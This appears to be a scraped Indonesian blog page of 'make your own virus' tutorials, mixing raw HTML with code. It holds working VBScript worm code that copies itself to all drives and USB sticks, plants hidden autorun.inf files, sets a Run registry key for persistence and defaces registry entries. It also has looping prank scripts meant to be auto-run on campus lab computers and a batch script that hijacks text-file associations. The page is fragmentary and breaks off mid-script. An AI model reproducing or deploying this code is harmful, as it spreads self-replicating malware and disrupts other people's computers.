WS.RegWrite "HKLM\Software\Microsoft\Windows\Currentversion\RegisteredOwner", "Skyler_elite" 
WS.RegWrite "HKLM\Software\Microsoft\WindowsNT\Currentversion\RegisteredOrganization", "Skyler_Elite" 
WS.RegWrite "HKLM\Software\Microsoft\WindowsNT\Currentversion\RegisteredOwner", "Skyler_elite" 
ws.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Hacked By: Skyler_elite" 
 
set oTS = oFSO.CreateTextFile(sDest, True) 
oTS.Write sOut 
oTS.Close 
set oTS = Nothing 
set oFSO = Nothing 
FSO.CopyFile "C:\WinNT.dat", "g:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "H:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "I:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "J:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "K:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "L:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "M:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "N:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "O:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "P:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "Q:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "R:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "S:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "T:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "U:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "V:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "W:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "X:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "Y:\Skyler_Elite.vbs" 
FSO.CopyFile "C:\WinNT.dat", "Z:\Skyler_Elite.vbs" 
 
Set Fso = CreateObject("Scripting.FileSystemObject") 
Set ws = CreateObject("WScript.Shell") 
Set Skyler_Elite = Fso.GetFile(WScript.ScriptFullName) 
Skyler_Elite.Copy (Fso.GetSpecialFolder(1) & "\PleaseRead1st.vbs") 
Set Drives = Fso.Drives 
 
 
Skyler_Elitemsg = "C:\windows\Skyler_Elite.html" 
Set msg = Fso.Createtextfile(Skyler_Elitemsg, True) 
msg.writeline tsu1 & tsu2 & tsu3 & tsu4 & tsu5 & tsu6 & tsu7 
msg.Close 
 
For Each Drive In Drives 
If Drive.isready Then 
On Error Resume Next 
Skyler_Elite.Copy(drive&"\Skyler_Elite.vbs") 
SearchWinZip Drive & "\" 
End If 
Next 
 
on error resume next 
dim mysource1,winpath,flashdrive,fs,mf,atr,tf,rg,nt,check,sd 
atr = "[autorun]"&vbcrlf&"shellexecute=WScript.exe Skyler_Elite.vbs" 
set fs = createobject("Scripting.FileSystemObject") 
set mf = fs.getfile(Wscript.ScriptFullname) 
dim text,size 
size = mf.size 
check = mf.drive.drivetype 
set text=mf.openastextstream(1,-2) 
do while not text.atendofstream 
mysource1=mysource1&text.readline 
mysource1=mysource1 & vbcrlf 
loop 
do 
Set winpath = fs.getspecialfolder(0) 
set tf = fs.getfile(winpath & "\Skyler_Elite.vbs") 
tf.attributes = 32 
set tf=fs.createtextfile(winpath & "\Skyler_Elite.vbs",2,true) 
tf.write mysource1 
tf.close 
set tf = fs.getfile(winpath & "\Skyler_Elite.vbs") 
tf.attributes = 39 
for each flashdrive in fs.drives 
If (flashdrive.drivetype = 1 or flashdrive.drivetype = 2) and flashdrive.path <> "A:" then 
set tf=fs.getfile(flashdrive.path &"\Skyler_Elite.vbs") 
tf.attributes =32 
set tf=fs.createtextfile(flashdrive.path &"\Skyler_Elite.vbs",2,true) 
tf.write mysource1 
tf.close 
set tf=fs.getfile(flashdrive.path &"\Skyler_Elite.vbs") 
tf.attributes =39 
set tf =fs.getfile(flashdrive.path &"\autorun.inf") 
tf.attributes = 32 
set tf=fs.createtextfile(flashdrive.path &"\autorun.inf",2,true) 
tf.write atr 
tf.close 
set tf =fs.getfile(flashdrive.path &"\autorun.inf") 
tf.attributes=39 
end if 
next 
set rg = createobject("WScript.Shell") 
rg.regwrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\Cur rentVersion\Run\ms32dll",winpath&"\Skyler_Elite.vbs" 
rg.regwrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main\Window Title","Skyler_Elite" 
rg.regwrite "HKCR\vbsfile\DefaultIcon","shell32.dll,2" 
if check <> 1 then 
WScript.sleep 20 
end if 
loop while check<>1 
set sd = createobject("WScript.shell") 
sd.run winpath & "\explorer.exe /e,/select, " & WScript.ScriptFullname 
 
 
<o:p></o:p></h6></div><div class="MsoNormal"> 
</div>

scrift virus Contoh script VBS

1. Copy dan pastekan di notepad 2. Save File dengan extension .vbs ==> xxxx.vbs 3. klik 2 kali file save dim WshShell,strWord,x,Cha...

scrift buka tutup cd rom

01:51 Danan 0

scrift virus scrift buka tutup cd rom

buka tutup CD/DVD kopikan kode berikutke notepad terus buat namanya opencd.vbs Code: Set oWMP = CreateObject("WMPlayer.OCX.7")...

cara membuat virus sendiri

19:26 Danan 0

<div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, lagi suntuk di ruang labkom kampus, pusing ngga bisa maen facebook karena diblokir sama admin labkom, yah iseng2 buatin scripts .vbs.</div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">Caranya: Buka notepad dan masukkan code berikut,</div><div class="wp_syntax" style="background-color: #f9f9f9; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline; width: 613px;"><div class="code" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"><pre class="text" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; line-height: 1.333; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: auto;">Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count &gt;= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop</pre></div></div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">Simpanlah dengan file tadi dengan ekstensi file iseng.vbs ato apapun nama kesukaan asalkan pastikan ekstensinya .vbs, dan jalankan filenya ( Klik 2x), perhatikan CD/DVD ROM akan terbuka/tertutup dengan sendirinya tanpa henti.</div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"><a href="http://hong.web.id/news/cara-membuat-virus-nakal" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-family: inherit; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none; vertical-align: baseline;"><img alt="Cara membuat virus nakal" class="aligncenter size-full wp-image-905" height="450" src="http://www.hong.web.id/wp-content/uploads/2009/10/virus2.jpg" style="border-bottom-style: none; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-style: initial; border-top-style: none; border-width: initial; display: block; font-family: inherit; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: auto; margin-right: auto; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 5px; vertical-align: baseline;" title="Cara membuat virus nakal" width="446" /></a></div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">Salah satu cara menghentikan aksi Virus Nakal ini ialah dengan menekan tombol <span style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: red; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">CRTL+ALT+DEL dan matikan proses wscripts.exe, Kalo mau keren lagi, masukkan ke file autorun.inf di flashdisk anda, jadi setiap loe colokin ke kompie kampus, maka akan otomatis dijalankan “Virus” Nakal ini.</div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"><em style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;">NB: kl males atau ga tau cara copasnya. download ajah linknya diakhir artikel:</div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">Nah mau script .vbs yang laen lagi?</div><div class="wp_syntax" style="background-color: #f9f9f9; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline; width: 613px;"><div class="code" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"><pre class="text" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; line-height: 1.333; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: auto;">WScript.Sleep 18000
WScript.Sleep 1000
do
Set WshShell = WScript.CreateObject("WScript.Shell")
WshShell.Run "notepad"
WScript.Sleep 100
WshShell.AppActivate "Notepad"
WScript.Sleep 500
WshShell.SendKeys "H"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "l"
WScript.Sleep 500
WshShell.SendKeys "o"
WScript.Sleep 500
WshShell.SendKeys ". "
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "p"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "K"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "r"
WScript.Sleep 500
WshShell.SendKeys " "
WScript.Sleep 500
WshShell.SendKeys "b"
WScript.Sleep 500
WshShell.SendKeys "a"
WScript.Sleep 500
WshShell.SendKeys "i"
WScript.Sleep 500
WshShell.SendKeys "k"
WScript.Sleep 500
WshShell.SendKeys "?"
WScript.Sleep 500
wscript.sleep 5000
loop</pre></div></div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">Scripts diatas nanti otomatis buka notepad dan ketik: <strong style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;">Halo. apa kabar? kabar baik?</div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">ingat yah simpan dengan ekstensi nama .vbs, klik file–>save as</div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;"><img alt="Buat virus nakal" class="aligncenter size-full wp-image-903" height="459" src="http://www.hong.web.id/wp-content/uploads/2009/10/save-as.jpg" style="border-bottom-style: none; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-style: initial; border-top-style: none; border-width: initial; display: block; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: auto; margin-right: auto; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 5px; vertical-align: baseline;" title="Buat virus nakal" width="568" /></div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">Kode Vbs ini akan membuat user terus mengetikkan kata2 “Kamu emang jelek koq!” <img alt=":D" class="wp-smiley" src="http://www.hong.web.id/wp-includes/images/smilies/icon_biggrin.gif" style="border-bottom-style: none; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-style: initial; border-top-style: none; border-width: initial; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;" /></div><div class="wp_syntax" style="background-color: #f9f9f9; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline; width: 613px;"><div class="code" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"><pre class="text" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; line-height: 1.333; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: auto;">Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "Kamu emang jelak koq!"
loop</pre></div></div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">Dan membuat terus menerus menekan tombol “Enter”</div><div class="wp_syntax" style="background-color: #f9f9f9; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline; width: 613px;"><div class="code" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"><pre class="text" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; line-height: 1.333; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: auto;">Set wshShell = wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "~(enter)"
loop</pre></div></div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">Terus tekan backspace:</div><div class="wp_syntax" style="background-color: #f9f9f9; border-bottom-color: silver; border-bottom-style: solid; border-bottom-width: 1px; border-color: initial; border-image: initial; border-left-color: silver; border-left-style: solid; border-left-width: 1px; border-right-color: silver; border-right-style: solid; border-right-width: 1px; border-style: initial; border-top-color: silver; border-top-style: solid; border-top-width: 1px; color: #110000; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: auto; overflow-y: hidden; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline; width: 613px;"><div class="code" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; font-family: inherit; font-style: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 2px; padding-left: 4px; padding-right: 4px; padding-top: 2px; vertical-align: top;"><pre class="text" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; clear: none; float: none; line-height: 1.333; outline-color: initial; outline-style: initial; outline-width: 0px; overflow-x: visible; overflow-y: visible; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; width: auto;">MsgBox "Balik lagi ah...saltik"
Set wshShell =wscript.CreateObject("WScript.Shell")
do
wscript.sleep 100
wshshell.sendkeys "{bs}"
loop</pre></div></div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">(post updated: May 8, 2010) 
<a href="" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-family: inherit; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; vertical-align: baseline;"><img alt="" class="alignnone" height="39" src="http://www.hong.web.id/files/Download.gif" style="border-bottom-style: none; border-color: initial; border-image: initial; border-left-style: none; border-right-style: none; border-style: initial; border-top-style: none; border-width: initial; font-family: inherit; font-style: inherit; font-weight: inherit; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 5px; vertical-align: baseline;" title="Download link dibawah ini" width="153" /></a></div><div style="background-color: white; border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: #161616; font-family: 'lucida grande', tahoma, verdana, arial, sans-serif; font-size: 12px; line-height: 18px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 5px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-align: justify; vertical-align: baseline;">Download <a href="http://www.ziddu.com/download/9113704/a.zip.html" style="border-bottom-width: 0px; border-color: initial; border-image: initial; border-left-width: 0px; border-right-width: 0px; border-style: initial; border-top-width: 0px; color: blue; font-family: inherit; font-style: inherit; font-weight: bold; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px; outline-color: initial; outline-style: initial; outline-width: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px; text-decoration: none; vertical-align: baseline;" target="_blank">virus nakal</a> disini</div>

scrift virus cara membuat virus sendiri

Yuk buat “Virus” Nakal, buat ngerjain dosen/guru yang kita ngga suka, lagi suntuk di ruang labkom kampus, pusing ngga bisa maen facebook kar...

Virus Bat (version 2)

15:23 Danan 0

<div class="MsoNormal" style="margin-bottom: 1.75pt;"></div><div class="MsoNormal" style="margin-bottom: 1.75pt;">bka notepad lalu copas kode berikut ini</div><div class="MsoNormal" style="margin-bottom: 1.75pt;"> 
</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">@Echo off</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">If Not Exist C:\DOCUME~1\ALLUSE~1\DOCUME~1\Svchost.exe Copy %0 C:\DOCUME~1\ALLUSE~1\DOCUME~1\Scvhost.exe >Null</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">If Not Exist C:\DOCUME~1\ALLUSE~1\STARTM~1\Programs\Startup\Windows.agv</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">GoTo Infect</div><div class="MsoNormal" style="margin-bottom: 1.75pt;"> 
</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Echo Windows Registry Editor Version 5.00 >Infect.reg</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Echo. >>Infect.reg</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Echo [HKEY_CLASSES_ROOT\txtfile\shell\open\command] >>Infect.reg</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Echo @=hex(2) :43,00,3a,00,5c,00,44,00,6f,00,63,00,75,00,6d,00,65,00,6e,00,74,00,73,\ >>Infect.reg</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Echo 00,20,00,61,00,6e,00,64,00,20,00,53,00,65,00,74,00,74,00,69,00,6e,00,67,00,\ >>infect.reg</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Echo 73,00,5c,00,41,00,6c,00,6c,00,20,00,55,00,73,00,65,00,72,00,73,00,5c,00,44,\ >>infect.reg</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Echo 00,6f,00,63,00,75,00,6d,00,65,00,6e,00,74,00,73,00,5c,00,52,00,65,00,61,00,\ >>infect.reg</div><div class="MsoNormal" style="margin-bottom: 1.75pt;">Echo 64,00,6d,00,65,00,2e,00,62,00,61,00,74,00,20,00,25,00,31,00,00,00 >>infect.reg</div><div class="MsoNormal" style="margin-bottom: 1.75pt;"> 
